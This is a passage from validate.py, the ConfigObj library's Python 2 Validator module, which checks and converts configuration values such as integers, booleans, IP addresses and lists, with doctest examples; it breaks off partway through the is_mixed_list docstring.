# vim: expandtab ts=4 sw=4 sts=4 fileencoding=utf-8:
# validate.py
# A Validator object
# Copyright (C) 2005-2010 Michael Foord, Mark Andrews, Nicola Larosa
# E-mail: fuzzyman AT voidspace DOT org DOT uk
#         mark AT la-la DOT com
#         nico AT tekNico DOT net

# This software is licensed under the terms of the BSD license.
# http://www.voidspace.org.uk/python/license.shtml
# Basically you're free to copy, modify, distribute and relicense it,
# So long as you keep a copy of the license with it.

# Scripts maintained at http://www.voidspace.org.uk/python/index.shtml
# For information about bugfixes, updates and support, please join the
# ConfigObj mailing list:
# http://lists.sourceforge.net/lists/listinfo/configobj-develop
# Comments, suggestions and bug reports welcome.

"""
    The Validator object is used to check that supplied values
    conform to a specification.

    The value can be supplied as a string - e.g. from a config file.
    In this case the check will also *convert* the value to
    the required type. This allows you to add validation
    as a transparent layer to access data stored as strings.
    The validation checks that the data is correct *and*
    converts it to the expected type.

    Some standard checks are provided for basic data types.
    Additional checks are easy to write. They can be
    provided when the ``Validator`` is instantiated or
    added afterwards.

    The standard functions work with the following basic data types :

    * integers
    * floats
    * booleans
    * strings
    * ip_addr

    plus lists of these datatypes

    Adding additional checks is done through coding simple functions.

    The full set of standard checks are :

    * 'integer': matches integer values (including negative)
                 Takes optional 'min' and 'max' arguments : ::

                   integer()
                   integer(3, 9)  # any value from 3 to 9
                   integer(min=0) # any positive value
                   integer(max=9)

    * 'float': matches float values
               Has the same parameters as the integer check.

    * 'boolean': matches boolean values - ``True`` or ``False``
                 Acceptable string values for True are :
                   true, on, yes, 1
                 Acceptable string values for False are :
                   false, off, no, 0

                 Any other value raises an error.

    * 'ip_addr': matches an Internet Protocol address, v.4, represented
                 by a dotted-quad string, i.e. '1.2.3.4'.

    * 'string': matches any string.
                Takes optional keyword args 'min' and 'max'
                to specify min and max lengths of the string.

    * 'list': matches any list.
              Takes optional keyword args 'min', and 'max' to specify min and
              max sizes of the list. (Always returns a list.)

    * 'tuple': matches any tuple.
              Takes optional keyword args 'min', and 'max' to specify min and
              max sizes of the tuple. (Always returns a tuple.)

    * 'int_list': Matches a list of integers.
                  Takes the same arguments as list.

    * 'float_list': Matches a list of floats.
                    Takes the same arguments as list.

    * 'bool_list': Matches a list of boolean values.
                   Takes the same arguments as list.

    * 'ip_addr_list': Matches a list of IP addresses.
                     Takes the same arguments as list.

    * 'string_list': Matches a list of strings.
                     Takes the same arguments as list.

    * 'mixed_list': Matches a list with different types in
                    specific positions. List size must match
                    the number of arguments.

                    Each position can be one of :
                    'integer', 'float', 'ip_addr', 'string', 'boolean'

                    So to specify a list with two strings followed
                    by two integers, you write the check as : ::

                      mixed_list('string', 'string', 'integer', 'integer')

    * 'pass': This check matches everything ! It never fails
              and the value is unchanged.

              It is also the default if no check is specified.

    * 'option': This check matches any from a list of options.
                You specify this check with : ::

                  option('option 1', 'option 2', 'option 3')

    You can supply a default value (returned if no value is supplied)
    using the default keyword argument.

    You specify a list argument for default using a list constructor syntax in
    the check : ::

        checkname(arg1, arg2, default=list('val 1', 'val 2', 'val 3'))

    A badly formatted set of arguments will raise a ``VdtParamError``.
"""

__version__ = '1.0.1'

__all__ = (
    '__version__',
    'dottedQuadToNum',
    'numToDottedQuad',
    'ValidateError',
    'VdtUnknownCheckError',
    'VdtParamError',
    'VdtTypeError',
    'VdtValueError',
    'VdtValueTooSmallError',
    'VdtValueTooBigError',
    'VdtValueTooShortError',
    'VdtValueTooLongError',
    'VdtMissingValue',
    'Validator',
    'is_integer',
    'is_float',
    'is_boolean',
    'is_list',
    'is_tuple',
    'is_ip_addr',
    'is_string',
    'is_int_list',
    'is_bool_list',
    'is_float_list',
    'is_string_list',
    'is_ip_addr_list',
    'is_mixed_list',
    'is_option',
    '__docformat__',
)

import re

_list_arg = re.compile(r'''
    (?:
        ([a-zA-Z_][a-zA-Z0-9_]*)\s*=\s*list\(
            (
                (?:
                    \s*
                    (?:
                        (?:".*?")|              # double quotes
                        (?:'.*?')|              # single quotes
                        (?:[^'",\s\)][^,\)]*?)  # unquoted
                    )
                    \s*,\s*
                )*
                (?:
                    (?:".*?")|              # double quotes
                    (?:'.*?')|              # single quotes
                    (?:[^'",\s\)][^,\)]*?)  # unquoted
                )?                          # last one
            )
        \)
    )
''', re.VERBOSE | re.DOTALL)    # two groups

_list_members = re.compile(r'''
    (
        (?:".*?")|              # double quotes
        (?:'.*?')|              # single quotes
        (?:[^'",\s=][^,=]*?)       # unquoted
    )
    (?:
    (?:\s*,\s*)|(?:\s*$)            # comma
    )
''', re.VERBOSE | re.DOTALL)    # one group

_paramstring = r'''
    (?:
        (
            (?:
                [a-zA-Z_][a-zA-Z0-9_]*\s*=\s*list\(
                    (?:
                        \s*
                        (?:
                            (?:".*?")|              # double quotes
                            (?:'.*?')|              # single quotes
                            (?:[^'",\s\)][^,\)]*?)       # unquoted
                        )
                        \s*,\s*
                    )*
                    (?:
                        (?:".*?")|              # double quotes
                        (?:'.*?')|              # single quotes
                        (?:[^'",\s\)][^,\)]*?)       # unquoted
                    )?                              # last one
                \)
            )|
            (?:
                (?:".*?")|              # double quotes
                (?:'.*?')|              # single quotes
                (?:[^'",\s=][^,=]*?)|       # unquoted
                (?:                         # keyword argument
                    [a-zA-Z_][a-zA-Z0-9_]*\s*=\s*
                    (?:
                        (?:".*?")|              # double quotes
                        (?:'.*?')|              # single quotes
                        (?:[^'",\s=][^,=]*?)       # unquoted
                    )
                )
            )
        )
        (?:
            (?:\s*,\s*)|(?:\s*$)            # comma
        )
    )
    '''

_matchstring = '^%s*' % _paramstring

# Python pre 2.2.1 doesn't have bool
try:
    bool
except NameError:
    def bool(val):
        """Simple boolean equivalent function. """
        if val:
            return 1
        else:
            return 0

def dottedQuadToNum(ip):
    """
    Convert decimal dotted quad string to long integer

    >>> int(dottedQuadToNum('1 '))
    1
    >>> int(dottedQuadToNum(' 1.2'))
    16777218
    >>> int(dottedQuadToNum(' 1.2.3 '))
    16908291
    >>> int(dottedQuadToNum('1.2.3.4'))
    16909060
    >>> dottedQuadToNum('255.255.255.255')
    4294967295L
    >>> dottedQuadToNum('255.255.255.256')
    Traceback (most recent call last):
    ValueError: Not a good dotted-quad IP: 255.255.255.256
    """

    # import here to avoid it when ip_addr values are not used
    import socket, struct

    try:
        return struct.unpack('!L',
            socket.inet_aton(ip.strip()))[0]
    except socket.error:
        # bug in inet_aton, corrected in Python 2.4
        if ip.strip() == '255.255.255.255':
            return 0xFFFFFFFFL
        else:
            raise ValueError('Not a good dotted-quad IP: %s' % ip)
    return

def numToDottedQuad(num):
    """
    Convert long int to dotted quad string

    >>> numToDottedQuad(-1L)
    Traceback (most recent call last):
    ValueError: Not a good numeric IP: -1
    >>> numToDottedQuad(1L)
    '0.0.0.1'
    >>> numToDottedQuad(16777218L)
    '1.0.0.2'
    >>> numToDottedQuad(16908291L)
    '1.2.0.3'
    >>> numToDottedQuad(16909060L)
    '1.2.3.4'
    >>> numToDottedQuad(4294967295L)
    '255.255.255.255'
    >>> numToDottedQuad(4294967296L)
    Traceback (most recent call last):
    ValueError: Not a good numeric IP: 4294967296
    """

    # import here to avoid it when ip_addr values are not used
    import socket, struct

    # no need to intercept here, 4294967295L is fine
    if num > 4294967295L or num < 0:
        raise ValueError('Not a good numeric IP: %s' % num)
    try:
        return socket.inet_ntoa(
            struct.pack('!L', long(num)))
    except (socket.error, struct.error, OverflowError):
        raise ValueError('Not a good numeric IP: %s' % num)

class ValidateError(Exception):
    """
    This error indicates that the check failed.
    It can be the base class for more specific errors.

    Any check function that fails ought to raise this error.
    (or a subclass)

    >>> raise ValidateError
    Traceback (most recent call last):
    ValidateError
    """

class VdtMissingValue(ValidateError):
    """No value was supplied to a check that needed one."""

class VdtUnknownCheckError(ValidateError):
    """An unknown check function was requested"""

    def __init__(self, value):
        """
        >>> raise VdtUnknownCheckError('yoda')
        Traceback (most recent call last):
        VdtUnknownCheckError: the check "yoda" is unknown.
        """
        ValidateError.__init__(self, 'the check "%s" is unknown.' % (value,))

class VdtParamError(SyntaxError):
    """An incorrect parameter was passed"""

    def __init__(self, name, value):
        """
        >>> raise VdtParamError('yoda', 'jedi')
        Traceback (most recent call last):
        VdtParamError: passed an incorrect value "jedi" for parameter "yoda".
        """
        SyntaxError.__init__(self, 'passed an incorrect value "%s" for parameter "%s".' % (value, name))

class VdtTypeError(ValidateError):
    """The value supplied was of the wrong type"""

    def __init__(self, value):
        """
        >>> raise VdtTypeError('jedi')
        Traceback (most recent call last):
        VdtTypeError: the value "jedi" is of the wrong type.
        """
        ValidateError.__init__(self, 'the value "%s" is of the wrong type.' % (value,))

class VdtValueError(ValidateError):
    """The value supplied was of the correct type, but was not an allowed value."""

    def __init__(self, value):
        """
        >>> raise VdtValueError('jedi')
        Traceback (most recent call last):
        VdtValueError: the value "jedi" is unacceptable.
        """
        ValidateError.__init__(self, 'the value "%s" is unacceptable.' % (value,))

class VdtValueTooSmallError(VdtValueError):
    """The value supplied was of the correct type, but was too small."""

    def __init__(self, value):
        """
        >>> raise VdtValueTooSmallError('0')
        Traceback (most recent call last):
        VdtValueTooSmallError: the value "0" is too small.
        """
        ValidateError.__init__(self, 'the value "%s" is too small.' % (value,))

class VdtValueTooBigError(VdtValueError):
    """The value supplied was of the correct type, but was too big."""

    def __init__(self, value):
        """
        >>> raise VdtValueTooBigError('1')
        Traceback (most recent call last):
        VdtValueTooBigError: the value "1" is too big.
        """
        ValidateError.__init__(self, 'the value "%s" is too big.' % (value,))

class VdtValueTooShortError(VdtValueError):
    """The value supplied was of the correct type, but was too short."""

    def __init__(self, value):
        """
        >>> raise VdtValueTooShortError('jed')
        Traceback (most recent call last):
        VdtValueTooShortError: the value "jed" is too short.
        """
        ValidateError.__init__(
            self,
            'the value "%s" is too short.' % (value,))

class VdtValueTooLongError(VdtValueError):
    """The value supplied was of the correct type, but was too long."""

    def __init__(self, value):
        """
        >>> raise VdtValueTooLongError('jedie')
        Traceback (most recent call last):
        VdtValueTooLongError: the value "jedie" is too long.
        """
        ValidateError.__init__(self, 'the value "%s" is too long.' % (value,))

class Validator(object):
    """
    Validator is an object that allows you to register a set of 'checks'.
    These checks take input and test that it conforms to the check.

    This can also involve converting the value from a string into
    the correct datatype.

    The ``check`` method takes an input string which configures which
    check is to be used and applies that check to a supplied value.

    An example input string would be:
    'int_range(param1, param2)'

    You would then provide something like:

    >>> def int_range_check(value, min, max):
    ...     # turn min and max from strings to integers
    ...     min = int(min)
    ...     max = int(max)
    ...     # check that value is of the correct type.
    ...     # possible valid inputs are integers or strings
    ...     # that represent integers
    ...     if not isinstance(value, (int, long, basestring)):
    ...         raise VdtTypeError(value)
    ...     elif isinstance(value, basestring):
    ...         # if we are given a string
    ...         # attempt to convert to an integer
    ...         try:
    ...             value = int(value)
    ...         except ValueError:
    ...             raise VdtValueError(value)
    ...     # check the value is between our constraints
    ...     if not min <= value:
    ...          raise VdtValueTooSmallError(value)
    ...     if not value <= max:
    ...          raise VdtValueTooBigError(value)
    ...     return value

    >>> fdict = {'int_range': int_range_check}
    >>> vtr1 = Validator(fdict)
    >>> vtr1.check('int_range(20, 40)', '30')
    30
    >>> vtr1.check('int_range(20, 40)', '60')
    Traceback (most recent call last):
    VdtValueTooBigError: the value "60" is too big.

    New functions can be added with : ::

    >>> vtr2 = Validator()
    >>> vtr2.functions['int_range'] = int_range_check

    Or by passing in a dictionary of functions when Validator
    is instantiated.

    Your functions *can* use keyword arguments,
    but the first argument should always be 'value'.

    If the function doesn't take additional arguments,
    the parentheses are optional in the check.
    It can be written with either of : ::

        keyword = function_name
        keyword = function_name()

    The first program to utilise Validator() was Michael Foord's
    ConfigObj, an alternative to ConfigParser which supports lists and
    can validate a config file using a config schema.
    For more details on using Validator with ConfigObj see:
    http://www.voidspace.org.uk/python/configobj.html
    """

    # this regex does the initial parsing of the checks
    _func_re = re.compile(r'(.+?)\((.*)\)', re.DOTALL)

    # this regex takes apart keyword arguments
    _key_arg = re.compile(r'^([a-zA-Z_][a-zA-Z0-9_]*)\s*=\s*(.*)$',  re.DOTALL)

    # this regex finds keyword=list(....) type values
    _list_arg = _list_arg

    # this regex takes individual values out of lists - in one pass
    _list_members = _list_members

    # These regexes check a set of arguments for validity
    # and then pull the members out
    _paramfinder = re.compile(_paramstring, re.VERBOSE | re.DOTALL)
    _matchfinder = re.compile(_matchstring, re.VERBOSE | re.DOTALL)

    def __init__(self, functions=None):
        """
        >>> vtri = Validator()
        """
        self.functions = {
            '': self._pass,
            'integer': is_integer,
            'float': is_float,
            'boolean': is_boolean,
            'ip_addr': is_ip_addr,
            'string': is_string,
            'list': is_list,
            'tuple': is_tuple,
            'int_list': is_int_list,
            'float_list': is_float_list,
            'bool_list': is_bool_list,
            'ip_addr_list': is_ip_addr_list,
            'string_list': is_string_list,
            'mixed_list': is_mixed_list,
            'pass': self._pass,
            'option': is_option,
            'force_list': force_list,
        }
        if functions is not None:
            self.functions.update(functions)
        # tekNico: for use by ConfigObj
        self.baseErrorClass = ValidateError
        self._cache = {}

    def check(self, check, value, missing=False):
        """
        Usage: check(check, value)

        Arguments:
            check: string representing check to apply (including arguments)
            value: object to be checked
        Returns value, converted to correct type if necessary

        If the check fails, raises a ``ValidateError`` subclass.

        >>> vtor.check('yoda', '')
        Traceback (most recent call last):
        VdtUnknownCheckError: the check "yoda" is unknown.
        >>> vtor.check('yoda()', '')
        Traceback (most recent call last):
        VdtUnknownCheckError: the check "yoda" is unknown.

        >>> vtor.check('string(default="")', '', missing=True)
        ''
        """
        fun_name, fun_args, fun_kwargs, default = self._parse_with_caching(check)

        if missing:
            if default is None:
                # no information needed here - to be handled by caller
                raise VdtMissingValue()
            value = self._handle_none(default)

        if value is None:
            return None

        return self._check_value(value, fun_name, fun_args, fun_kwargs)

    def _handle_none(self, value):
        if value == 'None':
            return None
        elif value in ("'None'", '"None"'):
            # Special case a quoted None
            value = self._unquote(value)
        return value

    def _parse_with_caching(self, check):
        if check in self._cache:
            fun_name, fun_args, fun_kwargs, default = self._cache[check]
            # We call list and dict below to work with *copies* of the data
            # rather than the original (which are mutable of course)
            fun_args = list(fun_args)
            fun_kwargs = dict(fun_kwargs)
        else:
            fun_name, fun_args, fun_kwargs, default = self._parse_check(check)
            fun_kwargs = dict([(str(key), value) for (key, value) in fun_kwargs.items()])
            self._cache[check] = fun_name, list(fun_args), dict(fun_kwargs), default
        return fun_name, fun_args, fun_kwargs, default

    def _check_value(self, value, fun_name, fun_args, fun_kwargs):
        try:
            fun = self.functions[fun_name]
        except KeyError:
            raise VdtUnknownCheckError(fun_name)
        else:
            return fun(value, *fun_args, **fun_kwargs)

    def _parse_check(self, check):
        fun_match = self._func_re.match(check)
        if fun_match:
            fun_name = fun_match.group(1)
            arg_string = fun_match.group(2)
            arg_match = self._matchfinder.match(arg_string)
            if arg_match is None:
                # Bad syntax
                raise VdtParamError('Bad syntax in check "%s".' % check)
            fun_args = []
            fun_kwargs = {}
            # pull out args of group 2
            for arg in self._paramfinder.findall(arg_string):
                # args may need whitespace removing (before removing quotes)
                arg = arg.strip()
                listmatch = self._list_arg.match(arg)
                if listmatch:
                    key, val = self._list_handle(listmatch)
                    fun_kwargs[key] = val
                    continue
                keymatch = self._key_arg.match(arg)
                if keymatch:
                    val = keymatch.group(2)
                    if not val in ("'None'", '"None"'):
                        # Special case a quoted None
                        val = self._unquote(val)
                    fun_kwargs[keymatch.group(1)] = val
                    continue

                fun_args.append(self._unquote(arg))
        else:
            # allows for function names without (args)
            return check, (), {}, None

        # Default must be deleted if the value is specified too,
        # otherwise the check function will get a spurious "default" keyword arg
        default = fun_kwargs.pop('default', None)
        return fun_name, fun_args, fun_kwargs, default

    def _unquote(self, val):
        """Unquote a value if necessary."""
        if (len(val) >= 2) and (val[0] in ("'", '"')) and (val[0] == val[-1]):
            val = val[1:-1]
        return val

    def _list_handle(self, listmatch):
        """Take apart a ``keyword=list('val, 'val')`` type string."""
        out = []
        name = listmatch.group(1)
        args = listmatch.group(2)
        for arg in self._list_members.findall(args):
            out.append(self._unquote(arg))
        return name, out

    def _pass(self, value):
        """
        Dummy check that always passes

        >>> vtor.check('', 0)
        0
        >>> vtor.check('', '0')
        '0'
        """
        return value

    def get_default_value(self, check):
        """
        Given a check, return the default value for the check
        (converted to the right type).

        If the check doesn't specify a default value then a
        ``KeyError`` will be raised.
        """
        fun_name, fun_args, fun_kwargs, default = self._parse_with_caching(check)
        if default is None:
            raise KeyError('Check "%s" has no default value.' % check)
        value = self._handle_none(default)
        if value is None:
            return value
        return self._check_value(value, fun_name, fun_args, fun_kwargs)

def _is_num_param(names, values, to_float=False):
    """
    Return numbers from inputs or raise VdtParamError.

    Lets ``None`` pass through.
    Pass in keyword argument ``to_float=True`` to
    use float for the conversion rather than int.

    >>> _is_num_param(('', ''), (0, 1.0))
    [0, 1]
    >>> _is_num_param(('', ''), (0, 1.0), to_float=True)
    [0.0, 1.0]
    >>> _is_num_param(('a'), ('a'))
    Traceback (most recent call last):
    VdtParamError: passed an incorrect value "a" for parameter "a".
    """
    fun = to_float and float or int
    out_params = []
    for (name, val) in zip(names, values):
        if val is None:
            out_params.append(val)
        elif isinstance(val, (int, long, float, basestring)):
            try:
                out_params.append(fun(val))
            except ValueError, e:
                raise VdtParamError(name, val)
        else:
            raise VdtParamError(name, val)
    return out_params

# built in checks
# you can override these by setting the appropriate name
# in Validator.functions
# note: if the params are specified wrongly in your input string,
#       you will also raise errors.

def is_integer(value, min=None, max=None):
    """
    A check that tests that a given value is an integer (int, or long)
    and optionally, between bounds. A negative value is accepted, while
    a float will fail.

    If the value is a string, then the conversion is done - if possible.
    Otherwise a VdtError is raised.

    >>> vtor.check('integer', '-1')
    -1
    >>> vtor.check('integer', '0')
    0
    >>> vtor.check('integer', 9)
    9
    >>> vtor.check('integer', 'a')
    Traceback (most recent call last):
    VdtTypeError: the value "a" is of the wrong type.
    >>> vtor.check('integer', '2.2')
    Traceback (most recent call last):
    VdtTypeError: the value "2.2" is of the wrong type.
    >>> vtor.check('integer(10)', '20')
    20
    >>> vtor.check('integer(max=20)', '15')
    15
    >>> vtor.check('integer(10)', '9')
    Traceback (most recent call last):
    VdtValueTooSmallError: the value "9" is too small.
    >>> vtor.check('integer(10)', 9)
    Traceback (most recent call last):
    VdtValueTooSmallError: the value "9" is too small.
    >>> vtor.check('integer(max=20)', '35')
    Traceback (most recent call last):
    VdtValueTooBigError: the value "35" is too big.
    >>> vtor.check('integer(max=20)', 35)
    Traceback (most recent call last):
    VdtValueTooBigError: the value "35" is too big.
    >>> vtor.check('integer(0, 9)', False)
    0
    """
    (min_val, max_val) = _is_num_param(('min', 'max'), (min, max))
    if not isinstance(value, (int, long, basestring)):
        raise VdtTypeError(value)
    if isinstance(value, basestring):
        # if it's a string - does it represent an integer ?
        try:
            value = int(value)
        except ValueError:
            raise VdtTypeError(value)
    if (min_val is not None) and (value < min_val):
        raise VdtValueTooSmallError(value)
    if (max_val is not None) and (value > max_val):
        raise VdtValueTooBigError(value)
    return value

def is_float(value, min=None, max=None):
    """
    A check that tests that a given value is a float
    (an integer will be accepted), and optionally - that it is between bounds.

    If the value is a string, then the conversion is done - if possible.
    Otherwise a VdtError is raised.

    This can accept negative values.

    >>> vtor.check('float', '2')
    2.0

    From now on we multiply the value to avoid comparing decimals

    >>> vtor.check('float', '-6.8') * 10
    -68.0
    >>> vtor.check('float', '12.2') * 10
    122.0
    >>> vtor.check('float', 8.4) * 10
    84.0
    >>> vtor.check('float', 'a')
    Traceback (most recent call last):
    VdtTypeError: the value "a" is of the wrong type.
    >>> vtor.check('float(10.1)', '10.2') * 10
    102.0
    >>> vtor.check('float(max=20.2)', '15.1') * 10
    151.0
    >>> vtor.check('float(10.0)', '9.0')
    Traceback (most recent call last):
    VdtValueTooSmallError: the value "9.0" is too small.
    >>> vtor.check('float(max=20.0)', '35.0')
    Traceback (most recent call last):
    VdtValueTooBigError: the value "35.0" is too big.
    """
    (min_val, max_val) = _is_num_param(
        ('min', 'max'), (min, max), to_float=True)
    if not isinstance(value, (int, long, float, basestring)):
        raise VdtTypeError(value)
    if not isinstance(value, float):
        # if it's a string - does it represent a float ?
        try:
            value = float(value)
        except ValueError:
            raise VdtTypeError(value)
    if (min_val is not None) and (value < min_val):
        raise VdtValueTooSmallError(value)
    if (max_val is not None) and (value > max_val):
        raise VdtValueTooBigError(value)
    return value

bool_dict = {
    True: True, 'on': True, '1': True, 'true': True, 'yes': True,
    False: False, 'off': False, '0': False, 'false': False, 'no': False,
}

def is_boolean(value):
    """
    Check if the value represents a boolean.

    >>> vtor.check('boolean', 0)
    0
    >>> vtor.check('boolean', False)
    0
    >>> vtor.check('boolean', '0')
    0
    >>> vtor.check('boolean', 'off')
    0
    >>> vtor.check('boolean', 'false')
    0
    >>> vtor.check('boolean', 'no')
    0
    >>> vtor.check('boolean', 'nO')
    0
    >>> vtor.check('boolean', 'NO')
    0
    >>> vtor.check('boolean', 1)
    1
    >>> vtor.check('boolean', True)
    1
    >>> vtor.check('boolean', '1')
    1
    >>> vtor.check('boolean', 'on')
    1
    >>> vtor.check('boolean', 'true')
    1
    >>> vtor.check('boolean', 'yes')
    1
    >>> vtor.check('boolean', 'Yes')
    1
    >>> vtor.check('boolean', 'YES')
    1
    >>> vtor.check('boolean', '')
    Traceback (most recent call last):
    VdtTypeError: the value "" is of the wrong type.
    >>> vtor.check('boolean', 'up')
    Traceback (most recent call last):
    VdtTypeError: the value "up" is of the wrong type.

    """
    if isinstance(value, basestring):
        try:
            return bool_dict[value.lower()]
        except KeyError:
            raise VdtTypeError(value)
    # we do an equality test rather than an identity test
    # this ensures Python 2.2 compatibilty
    # and allows 0 and 1 to represent True and False
    if value == False:
        return False
    elif value == True:
        return True
    else:
        raise VdtTypeError(value)

def is_ip_addr(value):
    """
    Check that the supplied value is an Internet Protocol address, v.4,
    represented by a dotted-quad string, i.e. '1.2.3.4'.

    >>> vtor.check('ip_addr', '1 ')
    '1'
    >>> vtor.check('ip_addr', ' 1.2')
    '1.2'
    >>> vtor.check('ip_addr', ' 1.2.3 ')
    '1.2.3'
    >>> vtor.check('ip_addr', '1.2.3.4')
    '1.2.3.4'
    >>> vtor.check('ip_addr', '0.0.0.0')
    '0.0.0.0'
    >>> vtor.check('ip_addr', '255.255.255.255')
    '255.255.255.255'
    >>> vtor.check('ip_addr', '255.255.255.256')
    Traceback (most recent call last):
    VdtValueError: the value "255.255.255.256" is unacceptable.
    >>> vtor.check('ip_addr', '1.2.3.4.5')
    Traceback (most recent call last):
    VdtValueError: the value "1.2.3.4.5" is unacceptable.
    >>> vtor.check('ip_addr', 0)
    Traceback (most recent call last):
    VdtTypeError: the value "0" is of the wrong type.
    """
    if not isinstance(value, basestring):
        raise VdtTypeError(value)
    value = value.strip()
    try:
        dottedQuadToNum(value)
    except ValueError:
        raise VdtValueError(value)
    return value

def is_list(value, min=None, max=None):
    """
    Check that the value is a list of values.

    You can optionally specify the minimum and maximum number of members.

    It does no check on list members.

    >>> vtor.check('list', ())
    []
    >>> vtor.check('list', [])
    []
    >>> vtor.check('list', (1, 2))
    [1, 2]
    >>> vtor.check('list', [1, 2])
    [1, 2]
    >>> vtor.check('list(3)', (1, 2))
    Traceback (most recent call last):
    VdtValueTooShortError: the value "(1, 2)" is too short.
    >>> vtor.check('list(max=5)', (1, 2, 3, 4, 5, 6))
    Traceback (most recent call last):
    VdtValueTooLongError: the value "(1, 2, 3, 4, 5, 6)" is too long.
    >>> vtor.check('list(min=3, max=5)', (1, 2, 3, 4))
    [1, 2, 3, 4]
    >>> vtor.check('list', 0)
    Traceback (most recent call last):
    VdtTypeError: the value "0" is of the wrong type.
    >>> vtor.check('list', '12')
    Traceback (most recent call last):
    VdtTypeError: the value "12" is of the wrong type.
    """
    (min_len, max_len) = _is_num_param(('min', 'max'), (min, max))
    if isinstance(value, basestring):
        raise VdtTypeError(value)
    try:
        num_members = len(value)
    except TypeError:
        raise VdtTypeError(value)
    if min_len is not None and num_members < min_len:
        raise VdtValueTooShortError(value)
    if max_len is not None and num_members > max_len:
        raise VdtValueTooLongError(value)
    return list(value)

def is_tuple(value, min=None, max=None):
    """
    Check that the value is a tuple of values.

    You can optionally specify the minimum and maximum number of members.

    It does no check on members.

    >>> vtor.check('tuple', ())
    ()
    >>> vtor.check('tuple', [])
    ()
    >>> vtor.check('tuple', (1, 2))
    (1, 2)
    >>> vtor.check('tuple', [1, 2])
    (1, 2)
    >>> vtor.check('tuple(3)', (1, 2))
    Traceback (most recent call last):
    VdtValueTooShortError: the value "(1, 2)" is too short.
    >>> vtor.check('tuple(max=5)', (1, 2, 3, 4, 5, 6))
    Traceback (most recent call last):
    VdtValueTooLongError: the value "(1, 2, 3, 4, 5, 6)" is too long.
    >>> vtor.check('tuple(min=3, max=5)', (1, 2, 3, 4))
    (1, 2, 3, 4)
    >>> vtor.check('tuple', 0)
    Traceback (most recent call last):
    VdtTypeError: the value "0" is of the wrong type.
    >>> vtor.check('tuple', '12')
    Traceback (most recent call last):
    VdtTypeError: the value "12" is of the wrong type.
    """
    return tuple(is_list(value, min, max))

def is_string(value, min=None, max=None):
    """
    Check that the supplied value is a string.

    You can optionally specify the minimum and maximum number of members.

    >>> vtor.check('string', '0')
    '0'
    >>> vtor.check('string', 0)
    Traceback (most recent call last):
    VdtTypeError: the value "0" is of the wrong type.
    >>> vtor.check('string(2)', '12')
    '12'
    >>> vtor.check('string(2)', '1')
    Traceback (most recent call last):
    VdtValueTooShortError: the value "1" is too short.
    >>> vtor.check('string(min=2, max=3)', '123')
    '123'
    >>> vtor.check('string(min=2, max=3)', '1234')
    Traceback (most recent call last):
    VdtValueTooLongError: the value "1234" is too long.
    """
    if not isinstance(value, basestring):
        raise VdtTypeError(value)
    (min_len, max_len) = _is_num_param(('min', 'max'), (min, max))
    try:
        num_members = len(value)
    except TypeError:
        raise VdtTypeError(value)
    if min_len is not None and num_members < min_len:
        raise VdtValueTooShortError(value)
    if max_len is not None and num_members > max_len:
        raise VdtValueTooLongError(value)
    return value

def is_int_list(value, min=None, max=None):
    """
    Check that the value is a list of integers.

    You can optionally specify the minimum and maximum number of members.

    Each list member is checked that it is an integer.

    >>> vtor.check('int_list', ())
    []
    >>> vtor.check('int_list', [])
    []
    >>> vtor.check('int_list', (1, 2))
    [1, 2]
    >>> vtor.check('int_list', [1, 2])
    [1, 2]
    >>> vtor.check('int_list', [1, 'a'])
    Traceback (most recent call last):
    VdtTypeError: the value "a" is of the wrong type.
    """
    return [is_integer(mem) for mem in is_list(value, min, max)]

def is_bool_list(value, min=None, max=None):
    """
    Check that the value is a list of booleans.

    You can optionally specify the minimum and maximum number of members.

    Each list member is checked that it is a boolean.

    >>> vtor.check('bool_list', ())
    []
    >>> vtor.check('bool_list', [])
    []
    >>> check_res = vtor.check('bool_list', (True, False))
    >>> check_res == [True, False]
    1
    >>> check_res = vtor.check('bool_list', [True, False])
    >>> check_res == [True, False]
    1
    >>> vtor.check('bool_list', [True, 'a'])
    Traceback (most recent call last):
    VdtTypeError: the value "a" is of the wrong type.
    """
    return [is_boolean(mem) for mem in is_list(value, min, max)]

def is_float_list(value, min=None, max=None):
    """
    Check that the value is a list of floats.

    You can optionally specify the minimum and maximum number of members.

    Each list member is checked that it is a float.

    >>> vtor.check('float_list', ())
    []
    >>> vtor.check('float_list', [])
    []
    >>> vtor.check('float_list', (1, 2.0))
    [1.0, 2.0]
    >>> vtor.check('float_list', [1, 2.0])
    [1.0, 2.0]
    >>> vtor.check('float_list', [1, 'a'])
    Traceback (most recent call last):
    VdtTypeError: the value "a" is of the wrong type.
    """
    return [is_float(mem) for mem in is_list(value, min, max)]

def is_string_list(value, min=None, max=None):
    """
    Check that the value is a list of strings.

    You can optionally specify the minimum and maximum number of members.

    Each list member is checked that it is a string.

    >>> vtor.check('string_list', ())
    []
    >>> vtor.check('string_list', [])
    []
    >>> vtor.check('string_list', ('a', 'b'))
    ['a', 'b']
    >>> vtor.check('string_list', ['a', 1])
    Traceback (most recent call last):
    VdtTypeError: the value "1" is of the wrong type.
    >>> vtor.check('string_list', 'hello')
    Traceback (most recent call last):
    VdtTypeError: the value "hello" is of the wrong type.
    """
    if isinstance(value, basestring):
        raise VdtTypeError(value)
    return [is_string(mem) for mem in is_list(value, min, max)]

def is_ip_addr_list(value, min=None, max=None):
    """
    Check that the value is a list of IP addresses.

    You can optionally specify the minimum and maximum number of members.

    Each list member is checked that it is an IP address.

    >>> vtor.check('ip_addr_list', ())
    []
    >>> vtor.check('ip_addr_list', [])
    []
    >>> vtor.check('ip_addr_list', ('1.2.3.4', '5.6.7.8'))
    ['1.2.3.4', '5.6.7.8']
    >>> vtor.check('ip_addr_list', ['a'])
    Traceback (most recent call last):
    VdtValueError: the value "a" is unacceptable.
    """
    return [is_ip_addr(mem) for mem in is_list(value, min, max)]

def force_list(value, min=None, max=None):
    """
    Check that a value is a list, coercing strings into
    a list with one member. Useful where users forget the
    trailing comma that turns a single value into a list.

    You can optionally specify the minimum and maximum number of members.
    A minumum of greater than one will fail if the user only supplies a
    string.

    >>> vtor.check('force_list', ())
    []
    >>> vtor.check('force_list', [])
    []
    >>> vtor.check('force_list', 'hello')
    ['hello']
    """
    if not isinstance(value, (list, tuple)):
        value = [value]
    return is_list(value, min, max)

fun_dict = {
    'integer': is_integer,
    'float': is_float,
    'ip_addr': is_ip_addr,
    'string': is_string,
    'boolean': is_boolean,
}

def is_mixed_list(value, *args):
    """
    Check that the value is a list.
    Allow specifying the type of each member.
    Work on lists of specific lengths.

    You specify each member as a positional argument specifying type

    Each type should be one of the following strings :
      'integer', 'float', 'ip_addr', 'string', 'boolean'

    So you can specify a list of two strings, followed by
    two integers as :

